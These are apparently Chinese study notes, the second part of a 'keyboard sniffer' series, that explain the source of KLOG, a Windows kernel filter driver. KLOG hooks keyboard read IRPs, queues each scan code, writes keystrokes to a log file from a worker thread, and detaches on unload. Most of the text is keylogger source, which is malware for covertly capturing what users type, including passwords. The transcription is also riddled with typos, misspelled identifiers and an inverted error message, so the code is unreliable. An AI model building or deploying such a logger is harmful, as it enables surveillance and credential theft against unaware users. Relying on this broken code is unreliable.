读书笔记_键盘嗅探器(2)

为处理READ请求而调用的例程是DispatchRead。下面具体分析该函数：

NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)

{

   当一个READ请求到达键盘控制器时，就调用该函数。这时IRP中并没有可用的数据。相反我们希望在捕获了击键动作之后查看IRP——当IRP正在沿着设备链向上传输时。

关于IRP已经完成的唯一通知方式是设置完成例程，如果没有设置完成例程，则当IRP沿着设备链上返回是会忽略我们的存在。

将IRP传递给链中次底层设备时，需要设置IRP堆栈指针（stack pointer）.术语堆栈在此处容易产生误解：每个设备只是在每个IRP中有一段私有的可用内存。这些私有区域以指定顺序排列。通过IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation调用来获取这些私有区域的指针，在传递IRP之前，一个“当前”指针必须指向低层驱动程序的私有区域，因此，在调用IoCallDriver之前要调用IoCopyCurrentIrpStackLocationToNext;

// Copy parameters down to next level in the stack

// for the driver below us

IoCopyCurrentIrpStackLocationToNext(pIrp);

// Note that the completion routine is named “OnReadCompleion”:

// Set the completion callback

IoSetCompletionRoutine(pIrp,

                OnReadCompletion,

                pDeviceObject,

                 TRUE,

                 TRUE,

                 TRUE);

  将挂起的IRP数目记录下来，以便等处理完成后再卸载驱动程序

// Track the # of pending IRPs

  numPendingIrps++;

最后通过IoCallDriver将IRP传递给链中的次底层设备，记住指向低层次设备的指针存储在Device_Extension中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us

Return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)

->pKeyboardDevice, pIrp);

}// end DispatchRead

现在可以看到，每个READIRP在处理之后可用于OnReadCompletion例程中。进一步对比加以分析：

NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,

                         INPRP pIrp, IN PVOID Context)

{

   // Get the device extension– we’ll need to use it later

   PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

检查IRP状态，它可以当作返回码或错误码，该值为STATUS_SUCCESS表明IRP已成功完成并且应该记录了击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构的数组。IoStatus.Information成员包含了该数组的长度：

If(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

   PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA结构定义如下：

Typedef struct _KEYBOARD_INPUT_DATA{

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

然后示例程序循环遍历所有的数组成员，从每个成员中获取击键动作：

For（int I = 0; I < numkeys; i++）

{

    DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);

注意会收到两个事件：键按下和键释放。对于简单的击键监视器来说，只需关注其中一个事件，KEY_MAKE是一个重要标志。

If（keys[i].Flags == KEY_MAKE）

DbgPrint(“%s\n”, “Key Down”)l

上述完成例程在IRQL级别DISPATCH_LEVEL上执行，这意味着它不允许文件操作，为了避开这个限制，示例程序通过一个共享链表将击键动作传递给worker线程。对该链表的访问必须采用关键段来同步。内核实施以下规则：一次只能有一个线程执行关键段。此处不能使用延迟过程调用（Deferred Procedure Call, DPC）,因此DPC也运行在DISPATCH_LEVEL级别上。

驱动程序分配一些NonPagedPool内存，并将扫描码放入其中，然后将其置入链表中。因为运行在DISPATCH级别上，所以只能从NonPagedPool中分配内存。

 KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));

// Fill in kData structure with info from IRP

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags=(char)keys[i].Flgas;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file

DbgPrint(“Adding IRP to work queue…”);

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,

            &pKeyboardDeviceExtension->lockQueue);

// The semaphore is incremented to indicate that some data needs tobe processed

// Increment the semaphore by 1 – no WaitForXXX after this call

KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,

                        0,

                        1,

FALSE);

}

}

If(pIrp->PendingReturned)

 IoMarkIrpPending(pIrp);

 

     示例完成了对IRP的处理，将IRP计数递减

 numPendingIrps- -;

return pIrp->IoStatus.Status;

}

此时在链表中已保存了一个击键动作，它用于worker线程，下面介绍worker线程的例程：

VOID ThreadKeyLogger ( IN PVOID pContext)

{

       PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;

       PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list

KLOG进入一个处理循环。代码通过KeWaitForSingleObject等待信号量。若信号量递增，则处理循环继续运行

While(true)

{

   // Wait for data to becomeavailable in the queue

KeWaitForSingleObject(

             &pKeyboardDeviceExtension->semQueue,

              Executive,

              KernelMode,

              FALSE,

              NULL);

从链表中安全删除了最高端项。注意关键段的用法：

pListEntry = ExInterlockedRemoveHeadList(

               &pKeyboardDeviceExtension->QueueListHead,

              &pKeyboardDeviceEntension->lockQueue);

内核线程不能从外部终止，它们只能终止自身。KLOG检查一个标志以判断是否应该终止worker线程。该操作应该只放生在卸载KLOG时。

If（pKeyboardDeviceExtension->bThreadTerminate == true）

{

   PsTerminateSystemThread(STATUS_SUCCESS);

}

必须使用CONTAINING_RECORD宏来获得指向pListEntry结构中数据的指针：

kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);

KLOG获取扫描码并将其转换成键盘码。这通过ConvertScanCodeToKeyCode工具函数完成，该函数只识别美国英语键盘布局，尽管它很容易替换为适用于其他键盘布局的代码。

// Convert the scan code to a key code

Char keys[3] = {0};

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);

// Make sure the key has returned a valid code

// before writing it to the file

If (keys != 0)

{

   若文件句柄是有效的，则使用ZwWriteFile将键盘盘码写入日志：

// Write the data out to a file

If(pKeyboardDeviceExtension->hLogFile != NULL)

{

    IO_STATUS_BLOCK  io_status;

    NTSTATUS status =ZwWriteFile(

                       pKeyboardDeviceExtension->hLogFile,

                        NULL,

                        NULL,

                        NULL,

                       &io_status,

                       &keys,

                        Strlen(keys),

                        NULL,

                        NULL);

If(status != STATUS_SUCCESS)

    DbgPrint(“Writing scancode to file…\n”);

Else

    DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);

}// end if

}// end if

}// end while

Return;

} // end ThreadLogKeyboard

以上是KLOG的主要操作。下面分析Unload例程

VOID Unload ( IN PDRIVER_OBJECT pDriverObject)

{

   // Get the pointer to thedevice extension

   PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

DbgPrint(“Driver Unload Called… \n”);

驱动程序必须使用IoDetachDevice函数取下分层设备的钩子：

// Detach from the device underneath that we’re hooked to.

IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

DbgPrint(“Keyboard hook detached from device…\n”);

下面使用了一个定时器，KLOG进入一个短循环，直到所有IRP完成处理：

// Create a timer

KTIMER kTimer;

LARGE_INTEGER timeout;

Timeout.QuadPart = 1000000;

KeInitializeTimer(&kTimer);

在某个IRP正在等待击键动作，则直到按下一个键后卸载才能完成：

While（numPendingIrps > 0）

{

   // Set the timer

   KeSetTimer(&kTimer, timeout,NULL);

   KeWaitForSingleObject(

             &kTimer,

             Executive,

             KernelMode,

             False,

             NULL);

}

此时KLOG指示worker线程应该终止：

// Set our key logger worker thread to terminate

pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after thiscall

KeReleaseSemaphore(

           &pKeyboardDeviceExtension->semQueue,

            0,

            1,

            TRUE);

KLOG使用线程指针调用KeWaitForSingleObject, 一直等候到该线程已终止：

// Wait until the worker thread terminates

DbgPrint(“Waiting for key logger thread to terminate…\n”);

KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

                    Executive,

                   KernelMode,

                    False,NULL);

DbgPrint(“Key logger thread terminated\n”);

最后关闭日志文件：

// close the log file

ZwClose(pKeyboardDeviceExtension->hLogFile);

还执行一些适当的常规清理动作：

// Delete the device

IoDeleteDevice(pDriverObject->DeviceObject);

DbgPrint(“Tagged IRPs dead … Terminating ...\n”);

Return;

}

键盘嗅探器结束。